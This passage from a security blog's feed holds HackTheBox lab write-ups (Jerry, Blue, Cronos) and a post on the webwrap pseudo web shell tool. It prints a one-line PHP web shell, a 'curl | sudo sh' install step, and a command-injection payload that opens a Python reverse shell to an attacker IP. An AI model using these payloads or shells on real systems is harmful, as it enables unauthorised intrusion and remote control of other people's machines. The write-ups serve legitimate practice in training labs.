    &lt;span class=&quot;n&quot;&gt;quit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;resources&quot;&gt;Resources&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.samba.org/samba/security/CVE-2007-2447.html&quot;&gt;CVE-2007-2447: Remote Command Injection Vulnerability&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.exploit-db.com/exploits/16320&quot;&gt;Samba 3.0.20 &amp;lt; 3.0.25rc3 - ‘Username’ map script’ Command Execution (Metasploit)&lt;/a&gt;&lt;/p&gt;</content><author><name>Ziemni</name></author><category term="cve" /><category term="python" /><category term="smb" /><summary type="html">Python implementation of 'Username' map script' RCE Exploit for Samba 3.0.20 &lt; 3.0.25rc3 (CVE-2007-2447).</summary></entry><entry><title type="html">[HackTheBox] Jerry</title><link href="https://blog.ziemni.com/writeup/hackthebox/htb-jerry/" rel="alternate" type="text/html" title="[HackTheBox] Jerry" /><published>2020-10-24T00:00:00+02:00</published><updated>2020-10-24T00:00:00+02:00</updated><id>https://blog.ziemni.com/writeup/hackthebox/htb-jerry</id><content type="html" xml:base="https://blog.ziemni.com/writeup/hackthebox/htb-jerry/">&lt;p&gt;&lt;img src=&quot;/assets/images/HTB/Jerry/card.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Tomcat is a very popular “web container” software. This box teaches one of the vulnerabilities that can be used for RCE using Tomcat’s manager.&lt;/p&gt;

&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;Enumerate machine’s services.&lt;/li&gt;
  &lt;li&gt;Exploit Tomcat’s upload vulnerability to get a shell as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nt authority\system&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;recon&quot;&gt;Recon&lt;/h2&gt;
&lt;h3 id=&quot;port-scan&quot;&gt;Port Scan&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap -Pn -T4 -p- -sV 10.10.10.95&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PORT     STATE SERVICE REASON  VERSION
8080/tcp open  http    syn-ack Apache Tomcat/Coyote JSP engine 1.1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;tomcat&quot;&gt;Tomcat&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;http://tomcat.apache.org/&quot;&gt;Tomcat&lt;/a&gt; is running on port 8080. We can check if it is using default credentials using Metasploit’s module &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scanner/http/tomcat_mgr_login&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;...
[+] 10.10.10.95:8080 - Login Successful: tomcat:s3cret
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;exploit&quot;&gt;Exploit&lt;/h2&gt;
&lt;p&gt;Using those credentials we can use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;multi/http/tomcat_mgr_upload&lt;/code&gt; to get a shell on the system.&lt;/p&gt;

&lt;p&gt;Tomcat is running as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nt authority\system&lt;/code&gt; on this machine, which means the box is done…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/HTB/Jerry/shell.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;</content><author><name>Ziemni</name></author><category term="rce" /><category term="tomcat" /><category term="metasploit" /><category term="exploit" /><summary type="html">Tomcat is a very popular 'web container' software. This box teaches one of the vulnerabilities that can be used for RCE using Tomcat's manager.</summary></entry><entry><title type="html">[HackTheBox] Blue</title><link href="https://blog.ziemni.com/writeup/hackthebox/htb-blue/" rel="alternate" type="text/html" title="[HackTheBox] Blue" /><published>2020-10-23T00:00:00+02:00</published><updated>2020-10-23T00:00:00+02:00</updated><id>https://blog.ziemni.com/writeup/hackthebox/htb-blue</id><content type="html" xml:base="https://blog.ziemni.com/writeup/hackthebox/htb-blue/">&lt;p&gt;&lt;img src=&quot;/assets/images/HTB/Blue/card.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This machine is more about teaching a single exploit rather than usual HTB process. It is still fun and enjoyable!&lt;/p&gt;

&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;Enumerate machine’s OS.&lt;/li&gt;
  &lt;li&gt;Use EternalBlue exploit to get a shell as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nt authority\system&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;recon&quot;&gt;Recon&lt;/h2&gt;
&lt;h3 id=&quot;port-scan&quot;&gt;Port Scan&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap -T4 -p- -sV -n 10.10.10.40&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PORT      STATE SERVICE      REASON  VERSION
135/tcp   open  msrpc        syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds syn-ack Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        syn-ack Microsoft Windows RPC
49153/tcp open  msrpc        syn-ack Microsoft Windows RPC
49154/tcp open  msrpc        syn-ack Microsoft Windows RPC
49155/tcp open  msrpc        syn-ack Microsoft Windows RPC
49156/tcp open  msrpc        syn-ack Microsoft Windows RPC
49157/tcp open  msrpc        syn-ack Microsoft Windows RPC
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;nmap also shows that this machine is running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Windows 7 SP 1&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;...
OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;exploit&quot;&gt;Exploit&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Windows 7 SP 1&lt;/code&gt; is vulnerable to a very popular and well-known exploit &lt;a href=&quot;https://en.wikipedia.org/wiki/EternalBlue&quot;&gt;EternalBlue&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It can be easily exploited with Metasploit’s module &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;windows/smb/ms17_010_eternalblue&lt;/code&gt;. It instantly gives you &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nt authority\system&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Windows\system32&amp;gt;whoami
whoami
nt authority\system
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;</content><author><name>Ziemni</name></author><category term="exploit" /><category term="metasploit" /><category term="eternalblue" /><summary type="html">This machine is more about teaching a single exploit rather than usual HTB process. It is still fun and enjoyable!</summary></entry><entry><title type="html">webwrap - An amazing pseudo web shell tool</title><link href="https://blog.ziemni.com/tool/tool-webwrap/" rel="alternate" type="text/html" title="webwrap - An amazing pseudo web shell tool" /><published>2020-09-14T00:00:00+02:00</published><updated>2020-09-14T00:00:00+02:00</updated><id>https://blog.ziemni.com/tool/tool-webwrap</id><content type="html" xml:base="https://blog.ziemni.com/tool/tool-webwrap/">&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;A few days ago, while doing a CTF I’ve encountered a problem. I was able to upload a PHP file to the target server, but I couldn’t spawn a web shell due to firewall restrictions. The only way I could interact with the server was by executing commands using the uploaded PHP files and printing output on the page.&lt;/p&gt;

&lt;p&gt;The simplified PHP file (the original one utilized a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;disabled_functions&lt;/code&gt; bypass, because &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exec()&lt;/code&gt; was disabled in the config):&lt;/p&gt;
&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'cmd'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]));&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Until that CTF I was using a python script to automate it. In a while loop: get user input, create a request and print the response to the terminal. It works, but it’s very inefficient mainly because it doesn’t keep the current path. Fortunately, I found a tool that does exactly what I need!&lt;/p&gt;

&lt;h2 id=&quot;webwrap&quot;&gt;webwrap&lt;/h2&gt;

&lt;p&gt;webwrap is a tool that automates the process described above and creates a pseudo shell that simulates a real one.
Github: &lt;a href=&quot;https://github.com/mxrch/webwrap&quot;&gt;https://github.com/mxrch/webwrap&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/tools/webwrap/sc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;installation&quot;&gt;Installation&lt;/h3&gt;
&lt;h4 id=&quot;linux-quick&quot;&gt;Linux (Quick)&lt;/h4&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; https://raw.githubusercontent.com/mxrch/webwrap/master/install.sh | &lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;linux-normal&quot;&gt;Linux (normal)&lt;/h4&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;apt &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;rlwrap
git clone https://github.com/mxrch/webwrap&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;webwrap&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;python3 &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; pip &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; requirements.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;windows&quot;&gt;Windows&lt;/h4&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git clone https://github.com/mxrch/webwrap;
cd webwrap;
python -m pip install -r requirements.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;usage&quot;&gt;Usage&lt;/h3&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;webwrap http://&amp;lt;LINK&amp;gt;/my_verycool_webshell.php?cmd&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;WRAP
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Where:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;my_verycool_webshell.php&lt;/code&gt; is your shell file&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd&lt;/code&gt; is the argument that shell uses &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$_GET(['&amp;lt;here&amp;gt;'])&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;limitations&quot;&gt;Limitations&lt;/h2&gt;
&lt;p&gt;While using this tool you need to remember that it is not a real shell. Commands such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;su&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shh&lt;/code&gt; will not work as they require a full interactive terminal, but some of them can be bypassed with e.g. python’s pty. Additionally, commands that take more than ~2 seconds to execute will time out the request and break the script.&lt;/p&gt;

&lt;h2 id=&quot;conclusions&quot;&gt;Conclusions&lt;/h2&gt;
&lt;p&gt;webwrap is an amazing tool to use when you cannot have a regular reverse shell. It automates a process of requesting command executions and &lt;em&gt;makes you gain speed&lt;/em&gt;. Although it has its limitations I’ll definitely use it in future CTFs.&lt;/p&gt;

&lt;h2 id=&quot;credits&quot;&gt;Credits&lt;/h2&gt;
&lt;p&gt;webwrap’s author: &lt;a href=&quot;https://github.com/mxrch&quot;&gt;mxrch&lt;/a&gt;
&lt;br /&gt;
webwrap’s github: &lt;a href=&quot;https://github.com/mxrch/webwrap&quot;&gt;Github&lt;/a&gt;&lt;/p&gt;</content><author><name>Ziemni</name></author><category term="web" /><category term="ctf" /><category term="shell" /><category term="tool" /><summary type="html">webwrap is an amazing tool that automates the process of creating a pseudo shell using a page containing a remote command execution.</summary></entry><entry><title type="html">[HackTheBox] Cronos</title><link href="https://blog.ziemni.com/writeup/hackthebox/htb-cronos/" rel="alternate" type="text/html" title="[HackTheBox] Cronos" /><published>2020-07-17T00:00:00+02:00</published><updated>2020-07-17T00:00:00+02:00</updated><id>https://blog.ziemni.com/writeup/hackthebox/htb-cronos</id><content type="html" xml:base="https://blog.ziemni.com/writeup/hackthebox/htb-cronos/">&lt;p&gt;&lt;img src=&quot;/assets/images/HTB/Cronos/card.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Cronos begins with a simple DNS enumeration to find a hidden subdomain with a login page. Then we exploit SQL and command injection vulnerabilities to get a shell. This machine requires knowledge of how cron jobs work to get root. Easy and fun machine!&lt;/p&gt;

&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;Find &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin&lt;/code&gt; subdomain.&lt;/li&gt;
  &lt;li&gt;Bypass login page using SQL injection.&lt;/li&gt;
  &lt;li&gt;Use command injection to get a reverse shell.&lt;/li&gt;
  &lt;li&gt;Enumerate and exploit cron jobs to get root.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;recon&quot;&gt;Recon&lt;/h2&gt;

&lt;h3 id=&quot;port-scan&quot;&gt;Port Scan&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap -n -sV -p- -T 5 -Pn 10.10.10.13&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;http&quot;&gt;HTTP&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://10.10.10.13/&lt;/code&gt; is just a default Apache2 page, but port 53 implies that there is a DNS server running on the machine. After adding &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10.10.10.13 cronos.htb&lt;/code&gt; to ‘/etc/hosts’ file, I have visited &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://cronos.htb&lt;/code&gt;, but it doesn’t seem to contain any interesting information.&lt;/p&gt;

&lt;p&gt;After a while, I’ve decided to enumerate subdomains.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gobuster dns -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -d cronos.htb -r cronos.htb&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Found: www.cronos.htb
Found: ns1.cronos.htb
Found: admin.cronos.htb
Found: WWW.cronos.htb
Found: NS1.cronos.htb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin.cronos.htb&lt;/code&gt; is a login page. I’ve instantly tried a basic sql injection and got access to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;welcome.php&lt;/code&gt; page.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/HTB/Cronos/req.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;welcome.php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/HTB/Cronos/welcome.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;exploit&quot;&gt;Exploit&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;welcome.php&lt;/code&gt; seems to be executing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;traceroute&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ping&lt;/code&gt; commands on the machine and printing their output. If we assume that the php is structured like this:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ping &quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;whatever&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;we&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;put&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;wen can inject out commands into it. I’ve injected a python reverse shell:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;8.8.8.8; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;10.10.14.28&quot;,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;and got a shell as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;www-data&lt;/code&gt;!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/HTB/Cronos/shell.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;root&quot;&gt;ROOT&lt;/h2&gt;

&lt;p&gt;After a bit of enumeration, I’ve noticed that there is a cronjob set to execute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;php /var/www/laravel/artisan&lt;/code&gt; every minute as root.&lt;/p&gt;

&lt;p&gt;I’ve just replaced &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/www/laravel/artisan&lt;/code&gt; with a php reverse shell and after a while got a shell as root!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/HTB/Cronos/root.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;</content><author><name>Ziemni</name></author><category term="dns" /><category term="sql" /><category term="injection" /><category term="cronjobs" /><summary type="html">Cronos begins with a simple DNS enumeration to find a hidden subdomain with a login page. Then we exploit SQL and command injection vulnerabilities to get a shell. This machine requires knowledge of how cron jobs work to get root. Easy and fun machine!</summary></entry></feed>